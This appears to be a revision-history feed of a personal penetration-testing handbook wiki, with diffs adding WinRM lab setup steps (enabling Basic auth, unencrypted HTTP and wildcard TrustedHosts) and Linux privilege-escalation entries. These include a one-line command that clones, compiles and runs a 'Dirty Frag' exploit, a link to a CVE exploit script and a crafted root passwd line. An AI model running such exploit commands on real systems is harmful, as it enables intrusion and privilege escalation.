Handbook I - Basic - Revision history

Administrator: /* WinRM development and lab setup */

2026-06-04T20:02:57Z

WinRM development and lab setup

← Older revision		Revision as of 20:02, 4 June 2026
Line 1,995:		Line 1,995:
	Set-Service WinRM -StartupType Disabled		Set-Service WinRM -StartupType Disabled
	</syntaxhighlight>		</syntaxhighlight>

			Source:
			[https://woshub.com/using-psremoting-winrm-non-domain-workgroup/ Using psremote winrm non domain joined workgroup]

	== 6370 - Redis ==		== 6370 - Redis ==

Administrator: /* 5985, 5986 - WinRM */

2026-06-04T20:02:14Z

5985, 5986 - WinRM

← Older revision		Revision as of 20:02, 4 June 2026
Line 1,898:		Line 1,898:

	* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]		* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]

			---

			=== WinRM development and lab setup ===

			* '''WSMan COM API''' (<code>WSManClass</code>, <code>IWSManSession</code>) fire-and-forget command execution via <code>Win32_Process</code>. Does not return stdout.
			* '''PowerShell Runspace API''' (<code>WSManConnectionInfo</code>, <code>RunspaceFactory</code>) Requires <code>System.Management.Automation</code>.


			The steps below needs to be run '''on the machine you want to connect to'''. WinRM needs to be configured to accept incoming connections, allow unencrypted HTTP traffic, and accept Basic authentication (required for workgroup/local accounts).

			The stepsbelow is needed if you are connecting to a machine that is not part of a domain. When its part of a AD domain it will automatically use Kerberos. The DC will act as the trusted third party to verify identity. No need to add to TrustedHosts, or set Basic auth and AllowUnencrypted. It is encrypted via Kerberos by default.

			1. Set Network Profile to Private

			WinRM will refuse to configure its firewall exception if the active network adapter is set to "Public". This is a Windows security policy. Change it to Private first.

			<syntaxhighlight lang="powershell">
			# Find the interface index
			Get-NetConnectionProfile

			# Set it to Private
			Set-NetConnectionProfile -InterfaceIndex <INDEX> -NetworkCategory Private
			</syntaxhighlight>

			2. Run quickconfig

			starts the WinRM service, sets it to auto-start, and creates the firewall exception.

			<syntaxhighlight lang="powershell">
			winrm quickconfig
			</syntaxhighlight>

			3. Enable Basic Auth + Unencrypted Traffic

			By default WinRM requires encrypted transport (HTTPS). Since we're using plain HTTP (port 5985), we need to allow unencrypted traffic. Basic auth is also disabled by default so it needs to be on for local/workgroup accounts.

			<syntaxhighlight lang="powershell">
			winrm set winrm/config/service '@{AllowUnencrypted="true"}'
			winrm set winrm/config/service/auth '@{Basic="true"}'
			</syntaxhighlight>

			Registry if the above failes:
			<syntaxhighlight lang="powershell">
			Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service" `
			-Name "allow_unencrypted" -Value 1
			Restart-Service WinRM
			</syntaxhighlight>

			Verify:
			<syntaxhighlight lang="powershell">
			winrm get winrm/config/service
			# Look for:
			# AllowUnencrypted = true
			# Auth/Basic = true
			</syntaxhighlight>

			Now on your local machine that is '''connecting to the target'''.

			1. Enable WinRM

			WinRM needs to be running locally to manage client settings like TrustedHosts, even if you're only using it as a client and not accepting inbound connections.

			<syntaxhighlight lang="powershell">
			Start-Service WinRM
			Set-Service WinRM -StartupType Automatic
			winrm quickconfig
			</syntaxhighlight>

			2. Add to TrustedHosts

			When connecting to a machine that isn't domain-joined (workgroup), Windows doesn't have a way to verify its identity via Kerberos. TrustedHosts tells your WinRM client "trust this IP even without domain auth". Without this, every connection attempt throws a <code>PSRemotingTransportException</code>.

			<syntaxhighlight lang="powershell">
			# Trust a specific target
			Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.x.x.x" -Force

			# Lab only — trust everything
			Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
			</syntaxhighlight>

			3. Allow Unencrypted + Basic on Client Side

			Both sides need to allow unencrypted traffic and Basic auth, otherwise the connection is rejected before it even reaches the target.

			<syntaxhighlight lang="powershell">
			winrm set winrm/config/client '@{AllowUnencrypted="true"}'
			winrm set winrm/config/client/auth '@{Basic="true"}'
			</syntaxhighlight>

			CLEANUP:

			<syntaxhighlight lang="powershell">
			Set-Item WSMan:\localhost\Client\TrustedHosts -Value "" -Force
			Stop-Service WinRM
			Set-Service WinRM -StartupType Disabled
			</syntaxhighlight>

	== 6370 - Redis ==		== 6370 - Redis ==

Administrator: /* 5985, 5986 - WinRM */

2026-06-03T13:43:31Z

5985, 5986 - WinRM

← Older revision		Revision as of 13:43, 3 June 2026
Line 1,897:		Line 1,897:
	Source:		Source:

	* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]		* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]

	== 6370 - Redis ==		== 6370 - Redis ==

Administrator: /* 5985, 5986 - WinRM */

2026-06-03T13:42:43Z

5985, 5986 - WinRM

← Older revision		Revision as of 13:42, 3 June 2026
Line 1,857:		Line 1,857:
	The following code should work:		The following code should work:

	<~~source~~ lang="csharp">		<syntaxhighlight lang="csharp">
	IWSMan wsman = new WSManClass();		IWSMan wsman = new WSManClass();
	IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();		IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
Line 1,893:		Line 1,893:
	}		}
	}		}
	</~~source~~>		</syntaxhighlight>

	Source:		Source:

Administrator: /* 5985, 5986 - WinRM */

2026-06-03T13:42:16Z

5985, 5986 - WinRM

← Older revision		Revision as of 13:42, 3 June 2026
Line 1,852:		Line 1,852:
	----		----
	The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.		The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

	~~=== Setup ===~~

	Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.		Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

	~~=== Code Example ===~~

	The following code should work:		The following code should work:

Administrator: /* 5985, 5986 - WinRM */

2026-06-03T13:41:48Z

5985, 5986 - WinRM

← Older revision		Revision as of 13:41, 3 June 2026
Line 1,851:		Line 1,851:

	----		----
			The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

			=== Setup ===

			Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

			=== Code Example ===

			The following code should work:

			<source lang="csharp">
			IWSMan wsman = new WSManClass();
			IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
			if (options != null)
			{
			try
			{
			// options.UserName = ???;
			// options.Password = ???;
			IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
			if (session != null)
			{
			try
			{
			// retrieve the Win32_Service xml representation
			var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
			// parse xml and dump service name and description
			var doc = new XmlDocument();
			doc.LoadXml(reply);
			foreach (var elementName in new string[] { "p:Caption", "p:Description" })
			{
			var node = doc.GetElementsByTagName(elementName)[0];
			if (node != null) Console.WriteLine(node.InnerText);
			}
			}
			finally
			{
			Marshal.ReleaseComObject(session);
			}
			}
			}
			finally
			{
			Marshal.ReleaseComObject(options);
			}
			}
			</source>

			Source:

			* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]

	== 6370 - Redis ==		== 6370 - Redis ==

Administrator: /* Linux */

2026-05-08T10:24:01Z

Linux

← Older revision		Revision as of 10:24, 8 May 2026
Line 4,919:		Line 4,919:
	# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)		# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
	https://www.exploit-db.com/exploits/45010		https://www.exploit-db.com/exploits/45010
			</syntaxhighlight>

			==== Copy Fail - CVE-2026-31431 ====
			https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

			==== Dirty Frag: Universal Linux LPE ====
			<syntaxhighlight lang="bash">
			git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
	</syntaxhighlight>		</syntaxhighlight>

Line 4,999:		Line 5,007:
	</syntaxhighlight>		</syntaxhighlight>

	~~==== Copy Fail - CVE-2026-31431 ====~~
	~~https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py~~

	~~==== Dirty Frag: Universal Linux LPE ====~~
	~~<syntaxhighlight lang="bash">~~
	~~git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp~~
	~~</syntaxhighlight>~~

Administrator: /* Linux */

2026-05-08T10:23:20Z

Linux

← Older revision		Revision as of 10:23, 8 May 2026
Line 4,998:		Line 4,998:
	aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash		aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
	</syntaxhighlight>		</syntaxhighlight>

			==== Copy Fail - CVE-2026-31431 ====
			https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

			==== Dirty Frag: Universal Linux LPE ====
			<syntaxhighlight lang="bash">
			git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
			</syntaxhighlight>


	----		----

Administrator: /* Tiny Http Server - Rebex */

2026-03-05T18:38:10Z

Tiny Http Server - Rebex

← Older revision		Revision as of 18:38, 5 March 2026
Line 4,004:		Line 4,004:

	https://www.rebex.net/tiny-web-server/		https://www.rebex.net/tiny-web-server/


	==== Transfer from attacker to target ====		==== Transfer from attacker to target ====

Administrator: /* Rejetto HFS - HTTP File Server (GUI based) */

2026-03-05T18:38:01Z

Rejetto HFS - HTTP File Server (GUI based)

← Older revision		Revision as of 18:38, 5 March 2026
Line 3,999:		Line 3,999:

	[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]		[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

			=== Tiny Http Server - Rebex ===
			Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

			https://www.rebex.net/tiny-web-server/


	==== Transfer from attacker to target ====		==== Transfer from attacker to target ====